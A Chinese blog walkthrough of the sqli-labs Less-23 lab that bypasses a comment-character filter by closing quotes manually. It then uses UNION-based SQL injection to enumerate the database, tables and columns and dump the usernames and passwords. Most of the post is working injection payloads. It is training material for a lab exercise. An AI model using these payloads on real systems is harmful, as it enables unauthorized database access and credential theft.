当前位置:网站首页>SQL注入 Less23(过滤注释符)
SQL注入 Less23(过滤注释符)
2022-07-25 10:31:00 【开心星人】
?id=1
?id=1'
''1'' LIMIT 0,1'
先去掉左右两边各一个单引号,相当于语文中的引用'1'' LIMIT 0,1
很明显知道是单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1
因为过滤了注释符,我们可以手动闭合后面的单引号
?id=1' and '1'='1
?id=1' and '1'='2
想使用报错注入的,因为是会有报错信息的
?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1
最后可能会多出了Limit 0,1这部分,导致语句出错了
所以放弃报错注入
尝试使用union注入,因为是有回显点的?id=1' order by 4 and '1'='1
查不出字段数
直接使用union,来逐个测试字段数?id=1' union select 1,'2
确实是可以的?id=1' union select 1,2,'3
查看回显位置?id=-1' union select 1,2,'3
查数据库?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3
查表?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
查字段?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
查数据?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3
边栏推荐
- Nowcodertop12-16 - continuous updating
- HCIP(11)
- B2B2C多商户系统功能丰富,极易二开!!!
- Redis sentry, high availability executor
- The most detailed MySQL index analysis (mind map is attached at the end of the article)
- 30000 word express Servlet
- Nb-iot control LCD (date setting and reading)
- 企业实践开源的动机
- [flask advanced] solve the classic error reporting of flask by combining the source code: working outside of application context
- LVS load balancing lvs-nat building Web Cluster
猜你喜欢

My colleague looked at my code and exclaimed: how can I use a singleton in unity

一篇看懂:IDEA 使用scala 编写wordcount程序 并生成jar包 实测
Learn NLP with Transformer (Chapter 4)

ESP8266 使用 DRV8833驱动板驱动N20电机

Hcip experiment (02)

The most complete detailed tutorial on importing ad into lichuanyuan device packaging Library in history (always white and always cool)

Flame framework - Flame WTF form: file upload, verification code
![[flask advanced] solve the classic error reporting of flask by combining the source code: working outside of application context](/img/3e/2cc3ff7e6e45ba4fcf3a0f5c2bf478.png)
[flask advanced] solve the classic error reporting of flask by combining the source code: working outside of application context

Redis sentry, high availability executor

SQL语言(二)
随机推荐
企业实践开源的动机
Dataframe print 省略号问题
DNS分离解析的实现方法详解
feign客户端请求之LoadBalancerLifecycle生命周期
Flame framework - Flame WTF form: file upload, verification code
C# Newtonsoft.Json 高级用法
学习路之PHP--Phpstudy 提示 Mysqld.Exe: Error While Setting Value ‘NO_ENGINE_SUBSTITUTION 错误的解决办法
一篇看懂:IDEA 使用scala 编写wordcount程序 并生成jar包 实测
tensorflow 调用多块GPU的一些错误
Software Testing Technology: cross platform mobile UI automated testing (Part 1)
txt转csv文件,隔行出现空行
Learn NLP with Transformer (Chapter 7)
Mlx90640 infrared thermal imager temperature measurement module development notes (V)
Shell 脚本参数传递时有 \r 换行符问题
shell-第四天作业
mysql高级语句(一)(总有一个人的出现,让你的生活不再继续糟糕)
Nb-iot control LCD (date setting and reading)
Learn NLP with Transformer (Chapter 7)
为什么重写equals()方法必须要重写hashCode()方法
Reinforcement learning (III)